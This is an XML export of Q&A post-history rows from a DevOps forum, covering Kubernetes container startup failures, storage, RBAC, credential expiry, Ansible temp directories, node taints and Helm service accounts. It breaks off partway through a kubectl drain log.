  <row Id="32845" PostHistoryTypeId="2" PostId="10695" RevisionGUID="6225de63-c3d3-46c0-a49d-3423190ea545" CreationDate="2020-02-03T16:11:52.850" UserId="18178" Text="**Background**&#xD;&#xA;&#xD;&#xA;I have a container that I have defined with an `CMD` and an `ENTRYPOINT` in Docker. When I run the following command my container runs with no issues whatsoever.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker run --rm -ti custom-container:latest&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Here is the definition for my container:&#xD;&#xA;&#xD;&#xA;```docker&#xD;&#xA;FROM mcr.microsoft.com/powershell:6.2.3-ubuntu-bionic&#xD;&#xA;COPY . /app&#xD;&#xA;WORKDIR /app&#xD;&#xA;&#xD;&#xA;CMD [&quot;/app/Start-Test.ps1&quot;]&#xD;&#xA;ENTRYPOINT [&quot;pwsh&quot;, &quot;-f&quot;, &quot;/app/Start-Test.ps1&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Problem**&#xD;&#xA;&#xD;&#xA;When I go to run my container in Kubernetes, my container refuses to run. &#xD;&#xA;&#xD;&#xA;Kubernetes is able to pull my image and it attempts to spin up the container, but I keep getting a status of BackedOff from Kubernetes.&#xD;&#xA;&#xD;&#xA;I've gone through and tried to figure out why this is happening because the container runs perfectly fine in Docker.&#xD;&#xA;&#xD;&#xA;I only have issues when I try to run the container in Kubernetes.&#xD;&#xA;&#xD;&#xA;Here is the definition for my Kubernetes deployment.&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;apiVersion: extensions/v1beta1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  name: my-custom-container&#xD;&#xA;spec:&#xD;&#xA;  replicas: 1&#xD;&#xA;  selector:&#xD;&#xA;    matchLabels:&#xD;&#xA;      app: my-custom-container&#xD;&#xA;  template:&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        app: my-custom-container&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;      - name: my-custom-container&#xD;&#xA;        image: repository-url.io/custom-container:latest&#xD;&#xA;      imagePullSecrets:&#xD;&#xA;      - name: regcred&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;What is the issue preventing my container from running when it runs with no problems in Docker?&#xD;&#xA;&#xD;&#xA;Additionally, yes I would like to use PowerShell as my entry point. It should be possible to use any scripting langauge (bash, Ruby, Python, Perl, etc) as an entry point." ContentLicense="CC BY-SA 4.0" />
  <row Id="32846" PostHistoryTypeId="1" PostId="10695" RevisionGUID="6225de63-c3d3-46c0-a49d-3423190ea545" CreationDate="2020-02-03T16:11:52.850" UserId="18178" Text="Why will my container run in Docker, but will not run in Kubernetes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32847" PostHistoryTypeId="3" PostId="10695" RevisionGUID="6225de63-c3d3-46c0-a49d-3423190ea545" CreationDate="2020-02-03T16:11:52.850" UserId="18178" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;containers&gt;&lt;powershell&gt;&lt;azure-kubernetes-service&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32848" PostHistoryTypeId="2" PostId="10696" RevisionGUID="c53f57bf-c869-4cf0-a53d-94a692b9128a" CreationDate="2020-02-03T16:20:33.820" UserId="19249" Text="### Problem in a nutshell&#xD;&#xA;What kind of storage for dynamic provisioning in a bare-metal kubernetes should i use.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### Our configuration&#xD;&#xA;- Each of our kubernetes nodes (worker and master) are running on VMs. The VMs themselves run on a VCenter on top of an Hyperconverged architecture&#xD;&#xA;- So far the cluster have no persistent storage configured (other than the host storage)&#xD;&#xA;- We do have an HDFS (Hadoop Distributed File System) running in bare metal as well, to make it short, hdfs is a *distributed* and *Highly Available* storage.&#xD;&#xA;&#xD;&#xA;### What do i want&#xD;&#xA;I've seen Ceph&amp;Rook being a popular solution. But if i understand it properly it required each kubernetes nodes (if i want it to be fault resistant) to have an attached physical storage, which will all contains more or less the same datas.&#xD;&#xA;&#xD;&#xA;### What's the problem with that&#xD;&#xA;If each nodes have 1Tb of storage, i will have 1Tb of storage as a ceph&amp;rook storage, and any time i want to add a node to the clsuter i will be forced to add 1To of storage.&#xD;&#xA;&#xD;&#xA;Ceph will duplicate data across the cluster to make it available in case of failure. But since the cluster is running on top of a hyperconverged architecture, the cepth duplication will be duplicated again by the hyperconverged architecture... you may start to see the problem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The above example makes no sense to me, especially when i have an HDFS next to this cluster.&#xD;&#xA;&#xD;&#xA;My question is what is my best option to use the HDFS as a dynamically storage provisioner?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32849" PostHistoryTypeId="1" PostId="10696" RevisionGUID="c53f57bf-c869-4cf0-a53d-94a692b9128a" CreationDate="2020-02-03T16:20:33.820" UserId="19249" Text="Bare-Metal Kubernetes storage in enterprise" ContentLicense="CC BY-SA 4.0" />
  <row Id="32850" PostHistoryTypeId="3" PostId="10696" RevisionGUID="c53f57bf-c869-4cf0-a53d-94a692b9128a" CreationDate="2020-02-03T16:20:33.820" UserId="19249" Text="&lt;kubernetes&gt;&lt;kubernetes-volume&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32851" PostHistoryTypeId="2" PostId="10697" RevisionGUID="05b6d6d3-4b4f-4b85-b59d-cc0baf481523" CreationDate="2020-02-03T16:36:29.577" UserId="19467" Text="info from: https://cloud.google.com/load-balancing/docs/https#open_ports&#xD;&#xA;&#xD;&#xA;Open ports&#xD;&#xA;The external HTTP(S) load balancers are reverse proxy load balancers. The load balancer terminates incoming connections, and then opens new connections from the load balancer to the backends. The reverse proxy functionality is provided by the Google Front Ends (GFEs).&#xD;&#xA;&#xD;&#xA;The firewall rules that you set block traffic from the GFEs to the backends, but do not block incoming traffic to the GFEs.&#xD;&#xA;&#xD;&#xA;The external HTTP(S) load balancers have a number of open ports to support other Google services that run on the same architecture. If you run a security or port scan against the external IP address of a Google Cloud external HTTP(S) load balancer, additional ports appear to be open.&#xD;&#xA;&#xD;&#xA;This does not affect external HTTP(S) load balancers. External forwarding rules, which are used in the definition of an external HTTP(S) load balancer, can only reference TCP ports 80, 8080, and 443. Traffic with a different TCP destination port is not forwarded to the load balancer's backend." ContentLicense="CC BY-SA 4.0" />
  <row Id="32852" PostHistoryTypeId="5" PostId="10695" RevisionGUID="91f76951-34ea-4aed-b069-ee2d0b4b059d" CreationDate="2020-02-03T16:41:45.497" UserId="18178" Comment="Added a definition of what the ps1 file is." Text="**Background**&#xD;&#xA;&#xD;&#xA;I have a container that I have defined with an `CMD` and an `ENTRYPOINT` in Docker. When I run the following command my container runs with no issues whatsoever.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker run --rm -ti custom-container:latest&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Here is the definition for my container:&#xD;&#xA;&#xD;&#xA;```docker&#xD;&#xA;FROM mcr.microsoft.com/powershell:6.2.3-ubuntu-bionic&#xD;&#xA;COPY . /app&#xD;&#xA;WORKDIR /app&#xD;&#xA;&#xD;&#xA;CMD [&quot;/app/Start-Test.ps1&quot;]&#xD;&#xA;ENTRYPOINT [&quot;pwsh&quot;, &quot;-f&quot;, &quot;/app/Start-Test.ps1&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The script `Start-Test.ps1` is just an infinite loop that writes `Hello World!` to host.&#xD;&#xA;&#xD;&#xA;**Problem**&#xD;&#xA;&#xD;&#xA;When I go to run my container in Kubernetes, my container refuses to run. &#xD;&#xA;&#xD;&#xA;Kubernetes is able to pull my image and it attempts to spin up the container, but I keep getting a status of BackedOff from Kubernetes.&#xD;&#xA;&#xD;&#xA;I've gone through and tried to figure out why this is happening because the container runs perfectly fine in Docker.&#xD;&#xA;&#xD;&#xA;I only have issues when I try to run the container in Kubernetes.&#xD;&#xA;&#xD;&#xA;Here is the definition for my Kubernetes deployment.&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;apiVersion: extensions/v1beta1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  name: my-custom-container&#xD;&#xA;spec:&#xD;&#xA;  replicas: 1&#xD;&#xA;  selector:&#xD;&#xA;    matchLabels:&#xD;&#xA;      app: my-custom-container&#xD;&#xA;  template:&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        app: my-custom-container&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;      - name: my-custom-container&#xD;&#xA;        image: repository-url.io/custom-container:latest&#xD;&#xA;      imagePullSecrets:&#xD;&#xA;      - name: regcred&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;What is the issue preventing my container from running when it runs with no problems in Docker?&#xD;&#xA;&#xD;&#xA;Additionally, yes I would like to use PowerShell as my entry point. It should be possible to use any scripting langauge (bash, Ruby, Python, Perl, etc) as an entry point." ContentLicense="CC BY-SA 4.0" />
  <row Id="32854" PostHistoryTypeId="2" PostId="10698" RevisionGUID="81c808e0-4e8a-4b80-8be3-eb7997ec6fe2" CreationDate="2020-02-03T17:16:46.147" UserId="19466" Text="Hoping for some pointers, I have a question: what role/permissions do I need to bind to a user that has ClusterRole=view in order to let that user use `top node` and `top pod` commands in kubectl? &#xD;&#xA;&#xD;&#xA;My team are using kubectl version 1.15.x (client) on a 1.15.7 cluster (AKS), although I'm not sure if that's relevant information. I tried to find this in the k8s documentation, but could not find the permission-reference description, only some examples and guidelines. If you know where to get the full k8s reference, I'm equally glad and will post the solution.&#xD;&#xA;&#xD;&#xA;Note, I also posted this on StackOverflow, but they pointed me here, which indeed looks much more suited.&#xD;&#xA;&#xD;&#xA;Thanks in advance!&#xD;&#xA;&#xD;&#xA;Regards, Ludo&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32855" PostHistoryTypeId="1" PostId="10698" RevisionGUID="81c808e0-4e8a-4b80-8be3-eb7997ec6fe2" CreationDate="2020-02-03T17:16:46.147" UserId="19466" Text="kubernetes: how to set &quot;top node&quot; and &quot;top pod&quot; permissions?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32856" PostHistoryTypeId="3" PostId="10698" RevisionGUID="81c808e0-4e8a-4b80-8be3-eb7997ec6fe2" CreationDate="2020-02-03T17:16:46.147" UserId="19466" Text="&lt;kubernetes&gt;&lt;permissions&gt;&lt;role-based-access-control&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32860" PostHistoryTypeId="2" PostId="10700" RevisionGUID="fc3128c0-5096-429b-b9e3-1306006f9832" CreationDate="2020-02-03T20:09:46.830" UserId="6131" Text="I am looking for information on how to forcefully expire users credentials in Kubernetes. The reason is to better understand Security models and protecting Kubernetes deployments from unauthorized access.&#xD;&#xA;&#xD;&#xA;Scenario: You are an Administrator and your notebook is lost/stolen. Your Kubernetes credentials have been cached because you used `az aks get-credentials ...`. The one who now has your notebook has been able to extract your `~/.kube/config` file. They now have your Admin access!&#xD;&#xA;&#xD;&#xA;Thankfully this has not happened to me. However, imagine the nightmare! Now, how do we prevent unauthorized access with this scenario?&#xD;&#xA;&#xD;&#xA;One thing I have not yet found is how/where to forcefully expire credentials after X hours. Thus requiring users to get fresh credentials every day or (X hours). What should I be looking for or where can I find documentation that talks of this?&#xD;&#xA;&#xD;&#xA;Google searches did not render results to answer this." ContentLicense="CC BY-SA 4.0" />
  <row Id="32861" PostHistoryTypeId="1" PostId="10700" RevisionGUID="fc3128c0-5096-429b-b9e3-1306006f9832" CreationDate="2020-02-03T20:09:46.830" UserId="6131" Text="How to force expire users credentials for Kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="32862" PostHistoryTypeId="3" PostId="10700" RevisionGUID="fc3128c0-5096-429b-b9e3-1306006f9832" CreationDate="2020-02-03T20:09:46.830" UserId="6131" Text="&lt;kubernetes&gt;&lt;security&gt;&lt;azure-kubernetes-service&gt;&lt;credentials&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32868" PostHistoryTypeId="2" PostId="10702" RevisionGUID="101e9ea4-a00a-45d7-b0f1-ac95174797f2" CreationDate="2020-02-04T07:52:34.847" UserId="707" Text="With Kaniko, you can build Docker images without Docker daemon.&#xD;&#xA;&#xD;&#xA;Not all possible Dockerfile options might be supported.&#xD;&#xA;&#xD;&#xA;https://github.com/GoogleContainerTools/kaniko" ContentLicense="CC BY-SA 4.0" />
  <row Id="32869" PostHistoryTypeId="5" PostId="10696" RevisionGUID="d8122b22-8c3c-4625-9b7f-a040c46e3831" CreationDate="2020-02-04T07:54:26.127" UserId="19249" Comment="added 20 characters in body" Text="### Problem in a nutshell&#xD;&#xA;What kind of storage for dynamic provisioning in a bare-metal kubernetes should i use.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### Our configuration&#xD;&#xA;- Each of our kubernetes nodes (worker and master) are running on VMs. The VMs themselves run on a VCenter on top of an Hyperconverged architecture&#xD;&#xA;- So far the cluster have no persistent storage configured (other than the host storage)&#xD;&#xA;- We do have an HDFS (Hadoop Distributed File System) running in bare metal as well, to make it short, hdfs is a *distributed* and *Highly Available* storage.&#xD;&#xA;&#xD;&#xA;### What do i want&#xD;&#xA;I've seen Ceph&amp;Rook being a popular solution. But if i understand it properly it required each kubernetes nodes (if i want it to be fault resistant) to have an attached physical storage, which will all contains more or less the same datas.&#xD;&#xA;&#xD;&#xA;### What's the problem with that&#xD;&#xA;If each nodes have 1Tb of storage, i will have 1Tb of storage as a ceph&amp;rook storage, and any time i want to add a node to the cluster i will be forced to add 1To of storage to the new node as well.&#xD;&#xA;&#xD;&#xA;Ceph will duplicate data across the cluster to make it available in case of failure. But since the cluster is running on top of a hyperconverged architecture, the cepth duplication will be duplicated again by the hyperconverged architecture... you may start to see the problem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The above example makes no sense to me, especially when i have an HDFS next to this cluster.&#xD;&#xA;&#xD;&#xA;My question is what is my best option to use the HDFS as a dynamic storage provisioner?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32870" PostHistoryTypeId="2" PostId="10703" RevisionGUID="4b3e9d96-406e-4ab4-ad18-fdc66c31fd9a" CreationDate="2020-02-04T09:03:19.890" UserId="18321" Text="Ansible version 2.9.2&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is it possible to change ansible temp dir for one playbook only?&#xD;&#xA;I have VMs with r/o root. So, the playbook fails.&#xD;&#xA;Even if I run my playbook under root user on target VM it can't create ansible temp files that it creates in current user's home dir on target VM.&#xD;&#xA;I know that I can change it in ansible.cfg file, but I need it only for one VM type.&#xD;&#xA;&#xD;&#xA;I need to make changes to other not r/o drives." ContentLicense="CC BY-SA 4.0" />
  <row Id="32871" PostHistoryTypeId="1" PostId="10703" RevisionGUID="4b3e9d96-406e-4ab4-ad18-fdc66c31fd9a" CreationDate="2020-02-04T09:03:19.890" UserId="18321" Text="Ansible temp dir change" ContentLicense="CC BY-SA 4.0" />
  <row Id="32872" PostHistoryTypeId="3" PostId="10703" RevisionGUID="4b3e9d96-406e-4ab4-ad18-fdc66c31fd9a" CreationDate="2020-02-04T09:03:19.890" UserId="18321" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32873" PostHistoryTypeId="5" PostId="9929" RevisionGUID="7b6a2848-da2e-4542-87c2-832e6d78f01f" CreationDate="2020-02-04T09:08:27.233" UserId="19264" Comment="move command and error log to code block" Text="I'm very new to kubernetes. I thought i would first get a basic by making hands dirty by &quot;the hard way&quot;&#xD;&#xA;I followed the Linux academy, but at the networking side using weave net i am now stuck !&#xD;&#xA;completely stuck !&#xD;&#xA;&#xD;&#xA;kubectl get pods -n kube-system  --&gt;getting the following crash loop back&#xD;&#xA;&#xD;&#xA;````weave-net-px6z7   1/2       CrashLoopBackOff   14         37m       &#xD;&#xA;weave-net-zngp6   1/2       Error              15         37m    ````&#xD;&#xA;&#xD;&#xA;some logs for investigating&#xD;&#xA;````kubectl -n kube-system logs weave-net-px6z7 -c weave-npc````&#xD;&#xA;&#xD;&#xA;got &#xD;&#xA;```` Get https://10.32.0.1:443/apis/networking.k8s.io/v1/networkpolicies?limit=500&amp;resourceVersion=0: dial tcp 10.32.0.1:443: i/o timeout````&#xD;&#xA;&#xD;&#xA;Not sure what it means ? any one can save me ?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32874" PostHistoryTypeId="24" PostId="9929" RevisionGUID="7b6a2848-da2e-4542-87c2-832e6d78f01f" CreationDate="2020-02-04T09:08:27.233" Comment="Proposed by 19264 approved by 18159 edit id of 1144" ContentLicense="CC BY-SA 4.0" />
  <row Id="32876" PostHistoryTypeId="2" PostId="10705" RevisionGUID="be2bab5a-8243-4ea8-b9ae-256db1e2394e" CreationDate="2020-02-04T13:09:31.933" UserId="19488" Text="You can use this following command to run your performance test&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;jmeter -n -t GenericPerformanceScript.jmx &gt; output.log &amp;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32877" PostHistoryTypeId="2" PostId="10706" RevisionGUID="4995c62e-3a7f-4e3a-a476-b391ca3f0d80" CreationDate="2020-02-04T15:52:55.497" UserId="7715" Text="&gt;Q: *&quot;Is it possible to change ansible temp dir for one playbook only? I have VMs with r/o root.&quot;*&#xD;&#xA;&#xD;&#xA;A: Yes. It's possible. Configure the variable [ansible_remote_tmp](https://docs.ansible.com/ansible/latest/plugins/shell/sh.html).&#xD;&#xA;&#xD;&#xA;In some cases, a better solution to this problem is [ANSIBLE_PIPELINING](https://docs.ansible.com/ansible/latest/reference_appendices/config.html#ansible-pipelining). Quoting from [Risks and limitations of become](https://docs.ansible.com/ansible/latest/user_guide/become.html#risks-and-limitations-of-become):&#xD;&#xA;&gt; Use pipelining. When pipelining is enabled, Ansible does not save the module to a temporary file on the client. Instead, it pipes the module to the remote python interpreter’s stdin. Pipelining does not work for python modules involving file transfer (for example: copy, fetch, template), or for non-python modules.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;Notes:&#xD;&#xA;&#xD;&#xA;* Quoting from [Release notes](https://github.com/ansible/ansible/blob/stable-2.5/changelogs/CHANGELOG-v2.5.rst#minor-changes-4):&#xD;&#xA;&gt; The ANSIBLE_REMOTE_TMP environment variable has been added to supplement (and override) ANSIBLE_REMOTE_TEMP. This matches the spelling of the config value. ANSIBLE_REMOTE_TEMP will be deprecated in the future.&#xD;&#xA;&#xD;&#xA;* `remote_tmp` is not among configuration options in [Ansible Configuration Settings](https://docs.ansible.com/ansible/latest/reference_appendices/config.html#ansible-configuration-settings)&#xD;&#xA;&#xD;&#xA;* There are open [bugs](https://github.com/ansible/ansible/issues?utf8=%E2%9C%93&amp;q=ANSIBLE_REMOTE_TMP+is%3Aopen) mostly with Windows&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32878" PostHistoryTypeId="2" PostId="10707" RevisionGUID="6a076840-1a9f-481a-a860-2dd1c2d3a592" CreationDate="2020-02-04T16:27:57.853" UserId="19496" Text="&#xD;&#xA;&#xD;&#xA;Given a working Kubernetes cluster consisting of a master and some workers.&#xD;&#xA;&#xD;&#xA;We need to add a node to run a very specific pod and be part of the cluster for networking reasons. Then being largely ignored for later pod creation by the master.&#xD;&#xA;&#xD;&#xA;Adding selectors to every deployment to avoid this node is out of question.&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32879" PostHistoryTypeId="1" PostId="10707" RevisionGUID="6a076840-1a9f-481a-a860-2dd1c2d3a592" CreationDate="2020-02-04T16:27:57.853" UserId="19496" Text="Kubernetes node ignoring regular pod creation" ContentLicense="CC BY-SA 4.0" />
  <row Id="32880" PostHistoryTypeId="3" PostId="10707" RevisionGUID="6a076840-1a9f-481a-a860-2dd1c2d3a592" CreationDate="2020-02-04T16:27:57.853" UserId="19496" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32881" PostHistoryTypeId="2" PostId="10708" RevisionGUID="3c8a1469-22da-4487-890f-64afe4eb30f4" CreationDate="2020-02-04T17:09:52.413" UserId="19264" Text="Taint the new node added to cluster and pod having tolerance to this taint will be scheduled here." ContentLicense="CC BY-SA 4.0" />
  <row Id="32882" PostHistoryTypeId="5" PostId="10708" RevisionGUID="ef03db4c-da9a-4852-bdac-3e15bf94f00c" CreationDate="2020-02-04T17:27:14.160" UserId="19264" Comment="added 27 characters in body" Text="Taint the new node added to cluster.&#xD;&#xA;&#xD;&#xA;Add nodeselector plus tolerance to only pods manifest  you want to be scheduled here." ContentLicense="CC BY-SA 4.0" />
  <row Id="32883" PostHistoryTypeId="5" PostId="10685" RevisionGUID="c3558b6c-3e11-49c4-ad06-4f473996616a" CreationDate="2020-02-04T17:32:53.237" UserId="739" Comment="formatting filenames as code" Text="You can try below options to debug this further. &#xD;&#xA;&#xD;&#xA;First verify `values.yaml` and check the values for `serviceAccount` (default value is true ) that means the helm chart when deployed will create a service account for the deployment. When you create a pod, **if you do not specify a service account, it is automatically assigned the default service account in the given namespace**. &#xD;&#xA;&#xD;&#xA;    serviceAccount:&#xD;&#xA;      # Specifies whether a service account should be created&#xD;&#xA;      create: true&#xD;&#xA;      # Annotations to add to the service account&#xD;&#xA;      annotations: {}&#xD;&#xA;      # The name of the service account to use.&#xD;&#xA;      # If not set and create is true, a name is generated using the fullname template&#xD;&#xA;      name:&#xD;&#xA;&#xD;&#xA;Try to deploy your helm chart with create: false and verify if it solves your issue.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Else remove the file `hello-world/templates/serviceaccount.yaml` and mark serviceaccount as `create: false` in `value.yaml` and pass name as default service account of your deployment try to deploy as below&#xD;&#xA;&#xD;&#xA;Note I have removed the `serviceaccount.yaml` &#xD;&#xA;&#xD;&#xA;    ~/hello$ tree&#xD;&#xA;    .&#xD;&#xA;    └── hello-world&#xD;&#xA;        ├── charts&#xD;&#xA;        ├── Chart.yaml&#xD;&#xA;        ├── templates&#xD;&#xA;        │   ├── deployment.yaml&#xD;&#xA;        │   ├── _helpers.tpl&#xD;&#xA;        │   ├── ingress.yaml&#xD;&#xA;        │   ├── NOTES.txt&#xD;&#xA;        │   ├── service.yaml&#xD;&#xA;        │   └── tests&#xD;&#xA;        │       └── test-connection.yaml&#xD;&#xA;        └── values.yaml&#xD;&#xA;    &#xD;&#xA;    4 directories, 8 files&#xD;&#xA;&#xD;&#xA;set create field as false under `values.yaml`&#xD;&#xA;&#xD;&#xA;    $ cat hello-world/values.yaml | grep -i serviceaccount -A 10&#xD;&#xA;&#xD;&#xA;    serviceAccount:&#xD;&#xA;      # Specifies whether a service account should be created&#xD;&#xA;      create: false&#xD;&#xA;      # Annotations to add to the service account&#xD;&#xA;      annotations: {}&#xD;&#xA;      # The name of the service account to use.&#xD;&#xA;      # If not set and create is true, a name is generated using the fullname template&#xD;&#xA;      name: default&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can fetch your list of serviceaccounts available as below&#xD;&#xA;&#xD;&#xA;    $ kubectl get serviceaccounts&#xD;&#xA;    NAME      SECRETS   AGE&#xD;&#xA;    default   1         2d4h&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Once deployed helm list will show the namespace used to deploy your chart and serviceaccount from the name space is used for deploeyemnt&#xD;&#xA;&#xD;&#xA;    $ helm list&#xD;&#xA;    NAME                    NAMESPACE       REVISION        UPDATED                                 STATUS          CHART               APP VERSION&#xD;&#xA;    hello-world-1580665905  default         1               2020-02-02 17:51:45.631330487 +0000 UTC deployed        hello-world-0.1.0   1.16.0&#xD;&#xA;&#xD;&#xA;Get chart details and values post deploeyemtn as below &#xD;&#xA;&#xD;&#xA;    $ helm show chart hello-world&#xD;&#xA;    apiVersion: v2&#xD;&#xA;    appVersion: 1.16.0&#xD;&#xA;    description: A Helm chart for Kubernetes&#xD;&#xA;    name: hello-world&#xD;&#xA;    type: application&#xD;&#xA;    version: 0.1.0&#xD;&#xA;    &#xD;&#xA;    $ helm show values hello-world | grep -i serviceaccount -A 10&#xD;&#xA;    serviceAccount:&#xD;&#xA;      # Specifies whether a service account should be created&#xD;&#xA;      create: false&#xD;&#xA;      # Annotations to add to the service account&#xD;&#xA;      annotations: {}&#xD;&#xA;      # The name of the service account to use.&#xD;&#xA;      # If not set and create is true, a name is generated using the fullname template&#xD;&#xA;      name: default&#xD;&#xA;    &#xD;&#xA;    podSecurityContext: {}&#xD;&#xA;      # fsGroup: 2000&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Get deployed resources as below &#xD;&#xA;&#xD;&#xA;    $ kubectl get all -o wide&#xD;&#xA;    NAME                                          READY   STATUS    RESTARTS   AGE    IP               NODE         NOMINATED NODE   READINESS GATES&#xD;&#xA;    pod/hello-world-1580665905-84b9d4d469-xv5mx   1/1     Running   0          118s   192.168.58.215   k8s-node02   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    &#xD;&#xA;    NAME                             TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)   AGE    SELECTOR&#xD;&#xA;    service/hello-world-1580665905   ClusterIP   10.108.73.21   &lt;none&gt;        80/TCP    118s   app.kubernetes.io/instance=hello-world-1580665905,app.kubernetes.io/name=hello-world&#xD;&#xA;    service/kubernetes               ClusterIP   10.96.0.1      &lt;none&gt;        443/TCP   2d4h   &lt;none&gt;&#xD;&#xA;    &#xD;&#xA;    NAME                                     READY   UP-TO-DATE   AVAILABLE   AGE    CONTAINERS    IMAGES         SELECTOR&#xD;&#xA;    deployment.apps/hello-world-1580665905   1/1     1            1           118s   hello-world   nginx:1.16.0   app.kubernetes.io/instance=hello-world-1580665905,app.kubernetes.io/name=hello-world&#xD;&#xA;    &#xD;&#xA;    NAME                                                DESIRED   CURRENT   READY   AGE    CONTAINERS    IMAGES         SELECTOR&#xD;&#xA;    replicaset.apps/hello-world-1580665905-84b9d4d469   1         1         1       118s   hello-world   nginx:1.16.0   app.kubernetes.io/instance=hello-world-1580665905,app.kubernetes.io/name=hello-world,pod-template-hash=84b9d4d469&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32884" PostHistoryTypeId="2" PostId="10709" RevisionGUID="55bd0ba0-300a-4776-b42c-8b518a6d00b6" CreationDate="2020-02-04T21:50:26.953" UserId="18637" Text="K8s works with concept of Health Check, in your application you have some port or command/trigger that K8s can monitoring?&#xD;&#xA;Maybe because of that your container is not works." ContentLicense="CC BY-SA 4.0" />
  <row Id="32885" PostHistoryTypeId="5" PostId="10708" RevisionGUID="76247449-3813-4277-9294-0f37d498d9c0" CreationDate="2020-02-04T21:53:41.127" UserId="19264" Comment="added 4627 characters in body" Text="Possibly you are looking for this  [feature]https://github.com/kubernetes/kubeadm/issues/1392) which is closed with no action since there are ways to work around this problem.&#xD;&#xA;&#xD;&#xA;&gt; kubeadm already allows to set taints for the joining node using the configuration file at join time.&#xD;&#xA;&#xD;&#xA;Other way to achieve this is by running join as usual but taking few extra steps as below after join&#xD;&#xA;&#xD;&#xA;&gt; After successful join , Force Drain the new node to make sure it removes unwanted pod which might have scaled to it post join operation `kubectl drain &lt;node name&gt; --force` &#xD;&#xA;&#xD;&#xA;&gt; Drain command will auto cordon off the node.&#xD;&#xA;&#xD;&#xA;&gt; Now Taint the new node as needed and uncordon it&#xD;&#xA;&#xD;&#xA;&gt; Add nodeselector plus tolerance to only pods you want to be scheduled on this new node.&#xD;&#xA;&#xD;&#xA;Logs of above steps for reference.&#xD;&#xA;&#xD;&#xA;On below example i have joined a new node-02 and assume that some pod were scaled in an existing deployment so new node got used immediatly on join, so before adding we need drain action and then taint the node so going forward no scheduling can be done unless pod has tollernace to the taint added&#xD;&#xA;&#xD;&#xA;**Nodes Before Drain or Taint**&#xD;&#xA;&#xD;&#xA;    $ kubectl get all -o wide&#xD;&#xA;    NAME                         READY   STATUS    RESTARTS   AGE   IP               NODE                NOMINATED NODE   READINESS GATES&#xD;&#xA;    pod/nginx-86c57db685-8cdkx   1/1     Running   0          27s   192.168.58.120   k8s-node02-calico   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    pod/nginx-86c57db685-xnh6q   1/1     Running   0          65s   192.168.182.78   k8s-node01-calico   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    &#xD;&#xA;    NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE   SELECTOR&#xD;&#xA;    service/kubernetes   ClusterIP   10.96.0.1    &lt;none&gt;        443/TCP   2d    &lt;none&gt;&#xD;&#xA;    &#xD;&#xA;    NAME                    READY   UP-TO-DATE   AVAILABLE   AGE   CONTAINERS   IMAGES   SELECTOR&#xD;&#xA;    deployment.apps/nginx   2/2     2            2           65s   nginx        nginx    app=nginx&#xD;&#xA;    &#xD;&#xA;    NAME                               DESIRED   CURRENT   READY   AGE   CONTAINERS   IMAGES   SELECTOR&#xD;&#xA;    replicaset.apps/nginx-86c57db685   2         2         2       65s   nginx        nginx    app=nginx,pod-template-hash=86c57db685&#xD;&#xA;&#xD;&#xA;**Drain The node**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ kubectl drain k8s-node02-calico&#xD;&#xA;    node/k8s-node02-calico cordoned&#xD;&#xA;    evicting pod &quot;nginx-86c57db685-8cdkx&quot;&#xD;&#xA;    pod/nginx-86c57db685-8cdkx evicted&#xD;&#xA;    node/k8s-node02-calico evicted&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ 